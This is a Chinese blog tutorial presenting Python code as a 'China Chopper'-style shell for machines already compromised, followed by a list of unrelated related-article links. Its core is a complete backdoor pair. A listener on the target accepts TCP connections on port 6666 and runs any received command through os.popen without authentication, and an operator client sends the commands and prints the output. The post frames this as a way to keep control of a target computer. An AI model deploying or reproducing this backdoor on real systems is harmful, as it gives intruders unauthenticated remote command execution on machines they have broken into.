python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
一个超级简单的python web程序
Sep 11 Python
Python通过DOM和SAX方式解析XML的应用实例分享
Nov 16 Python
python基于phantomjs实现导入图片
May 13 Python
深入浅析python定时杀进程
Jun 06 Python
Golang与python线程详解及简单实例
Apr 27 Python
Python中音频处理库pydub的使用教程
Jun 07 Python
Python UnboundLocalError和NameError错误根源案例解析
Oct 31 Python
基于Python的Post请求数据爬取的方法详解
Jun 14 Python
详解Python 调用C# dll库最简方法
Jun 20 Python
pymysql 开启调试模式的实现
Sep 24 Python
python循环嵌套的多种使用方法解析
Nov 29 Python
python GUI库图形界面开发之PyQt5打印控件QPrinter详细使用方法与实例
Feb 28 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
用PHP ob_start()控制浏览器cache、生成html实现代码
2010/02/16 PHP
那些年一起学习的PHP(一)
2012/03/21 PHP
PHP转换文本框内容为HTML格式的方法
2016/07/20 PHP
PHP严重致命错误处理:php Fatal error: Cannot redeclare class or function
2017/02/05 PHP
docker-compose部署php项目实例详解
2019/07/30 PHP
分享8个Laravel模型时间戳使用技巧小结
2020/02/12 PHP
Mootools 1.2教程(2) DOM选择器
2009/09/14 Javascript
javascript eval(func())使用示例
2013/12/05 Javascript
javascript闭包传参和事件的循环绑定示例探讨
2014/04/17 Javascript
JS实现超简单的鼠标拖动效果
2015/11/02 Javascript
javascript运算符——逻辑运算符全面解析
2016/06/27 Javascript
javascript读取文本节点方法小结
2016/12/15 Javascript
react 移动端实现列表左滑删除的示例代码
2019/07/04 Javascript
javascript实现固定侧边栏
2021/02/09 Javascript
[08:47]DOTA2每周TOP10 精彩击杀集锦vol.6
2014/06/25 DOTA
[35:26]DOTA2上海特级锦标赛B组小组赛#2 VG VS Fnatic第三局
2016/02/26 DOTA
跟老齐学Python之数据类型总结
2014/09/24 Python
Flask框架配置与调试操作示例
2018/07/23 Python
Python拼接字符串的7种方法总结
2018/11/01 Python
浅谈python 读excel数值为浮点型的问题
2018/12/25 Python
Django中ajax发送post请求 报403错误CSRF验证失败解决方案
2019/08/13 Python
Selenium 滚动页面至元素可见的方法
2020/03/18 Python
基于Python第三方插件实现西游记章节标注汉语拼音的方法
2020/05/22 Python
python中wheel的用法整理
2020/06/15 Python
python实现启动一个外部程序,并且不阻塞当前进程
2020/12/05 Python
HTML5操作WebSQL数据库的实例代码
2017/08/26 HTML / CSS
Keds官方网站:购买帆布运动鞋和经典皮鞋
2016/11/12 全球购物
Skip Hop官网:好莱坞宝宝挚爱品牌
2018/06/17 全球购物
Myprotein荷兰官网:欧洲第一运动营养品牌
2020/07/11 全球购物
怎样声明接口
2014/09/19 面试题
将一个文本文件的内容按倒序打印出来
2015/01/05 面试题
幼儿园秋游感想
2014/03/12 职场文书
初级党校心得体会
2014/09/11 职场文书
2015年共青团工作总结
2015/05/15 职场文书
网络安全倡议书(3篇)
2019/09/18 职场文书
python基础之类属性和实例属性
2021/10/24 Python